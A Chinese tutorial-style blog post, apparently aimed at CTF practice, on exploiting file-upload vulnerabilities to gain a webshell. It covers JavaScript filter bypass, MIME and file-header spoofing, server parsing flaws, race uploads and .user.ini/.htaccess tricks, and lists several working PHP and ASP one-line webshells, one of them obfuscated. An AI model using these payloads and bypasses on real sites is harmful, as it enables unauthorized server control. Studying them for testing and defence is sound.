天天看點

檔案上傳

參考文章:

https://www.cnblogs.com/20175211lyz/p/10989689.html

https://www.cnblogs.com/wangtanzhi/p/12243206.html

https://xz.aliyun.com/t/7531

寫在前面:

檔案上傳漏洞常用于擷取

webshell

,進而取得對目标網站(系統)的控制權。要擷取

shell

,需要: 1.知道上傳後檔案所儲存位置(不知道那就猜、爆破,一般是能知道的) 2.上傳後檔案的名字(是否被更改)

一句話木馬

<?php eval($_POST['password']);?>
           

一句話木馬原理及不同類型:

https://baike.baidu.com/item/%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC/1845646?fr=aladdin

在文章後續會根據例子提供一句話木馬的變式

毫無過濾

  • 直接上傳即可擷取

    webshell

前端過濾

繞過js過濾

例:

function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("請選擇要上傳的檔案!");
            return false;
        }
        //定義允許上傳的檔案類型
        var allow_ext = ".jpg|.png|.gif";
        //提取上傳檔案的類型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判斷上傳檔案類型是否允許上傳
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "該檔案不允許上傳,請上傳jpg、png、gif結尾的圖檔噢!";
            alert(errMsg);
            return false;
        }
    }


           

繞過方式:

  • 1

    在控制台重新定義函數

    function checkFile(){}

    回車即可(注:需要在未觸發該函數前)
    檔案上傳
  • 2

    将一句話木馬檔案字尾改為

    .png .jpg .gif

    後,點選上傳。用

    BurpSuite

    截斷,然後将檔案名再替換成

    .php

    檔案上傳

後端過濾

利用解析漏洞繞過

轉載,原文位址:

https://blog.csdn.net/qq_42636435/article/details/88096844

    1. IIS

      解析漏洞

IIS 6.0在解析檔案時存在以下兩個解析漏洞。

當建立.asa、.asp格式的檔案夾時,其目錄下的任意檔案都将被IIS當做asp檔案來解析。

例如:建立檔案夾parsing.asp,在parsing.asp檔案夾内建立一個文本文檔test.txt,其内容為<%=NOW()%>,然後在浏覽器内通路。

“NOWO”是ASP提供擷取目前時間的函數,TXT是文本文檔格式,IIS是不會去解析此類檔案的,應該會直接顯示其内容,而在parsing.asp檔案夾中,卻被當作ASP腳本來解析。

當檔案為*.asp;1.jpg時,IIS6.0同樣會以ASP腳本來執行,如:建立檔案test.asp;1.jpg,内容為<%=NOW()%>。

    1. Apache

Apache是從右到左開始判斷解析,如果為不可識别解析,就再往左判斷,如xxx.php.owf.rar ,”.owf”和”.rar”這兩種字尾是apache解析不了的,apache就會把xxx.php.owf.rar解析成php。

怎麼去判斷是不是合法的字尾就是這個漏洞利用關鍵,測試時把常見的字尾都寫上,去測試是不是合法,任意不識别的字尾,逐級向上識别。

有些程式開發人員在上傳檔案時,判斷檔案名是否是PHP、ASP、ASPX、ASA、CER、ASPX等腳本擴充名,如果是,則不允許上傳,這時攻擊者就有可能上傳1.php.rar等擴充名來繞過程式檢測,并配合解析漏洞,擷取到WebShell。

    1. Nginx

解析: (任意檔案名)/(任意檔案名).php | (任意檔案名)%00.php

描述:目前Nginx主要有這兩種漏洞,一個是對任意檔案名,在後面添加/任意檔案名.php的解析漏洞,比如原本檔案名是test.jpg,可以添加為test.jpg/x.php進行解析攻擊。

還有一種是對低版本的Nginx可以在任意檔案名後面添加%00.php進行解析攻擊。

猜測過濾規則繞過

  • 1.檔案字尾名黑名單:
大小寫繞過

Php、PhP···

利用能被解析的字尾名,例如

php、php3、php4、php5、php7、pht、phtml、phps

  • 2.MIME類型繞過

BurpSuite

抓包,更改

content-type

請求頭為

image/gif、image/png、image/jpg

檔案上傳
  • 3.圖檔馬内容檢測
檔案上傳
解決辦法:更換一句話木馬形式

<% eval request("123")%>

等等
  • 4.檔案内容頭檢測

上述方法均失效時可以考慮一下網站是否檢測了檔案頭

解決方法1:添加圖檔檔案頭到木馬檔案

GIF89a? <% eval request("123")%>

檔案頭對照參考:

https://blog.csdn.net/rrrfff/article/details/7484109

解決方法2:将一張圖檔與一句話木馬檔案結合

1.記事本打開圖檔,在末尾或者之中添加一句話木馬 2.使用指令将圖檔與木馬檔案結合,連結:

https://jingyan.baidu.com/article/a65957f42c7c1224e67f9bb1.html

(注:麻煩,且指令好像不對)

其他姿勢

競争上傳

  • 檔案上傳後,網站系統會對檔案進行惡意代碼檢測,若是存在惡意代碼,則會删除該檔案
  • 若在這個操作的時間之内,通路該上傳的檔案,利用之間的時間差來擷取shell

.user.ini

利用 (注:上傳目錄下要有可執行的

php

檔案,一般是自帶的,而不是自己上傳的,要是可以的話,還需要這麼多騷操作幹什麼)

大佬的教程連結:

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

利用方式的複現位址:

https://buuoj.cn/challenges#[SUCTF%202019]CheckIn

Apache

.htaccess

https://www.cnblogs.com/hmbb/p/9689436.html

常用一句話木馬(php)

  • GIF89a? <script language="php">eval($_REQUEST[shell])</script>

    比較好用
  • <script language=php>system("ls")</script>

  • <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> //使用這個後,使用菜刀一句話用戶端在配置連接配接的時候在"配置"一欄輸入"h=@eval($_POST[c]);"

  • <?php $c='ass'.'ert';${c}($_POST[4]);?>

Attention:

一般要利用檔案上傳漏洞需要結合上述多種操作才行,需要靈活變通

繼續閱讀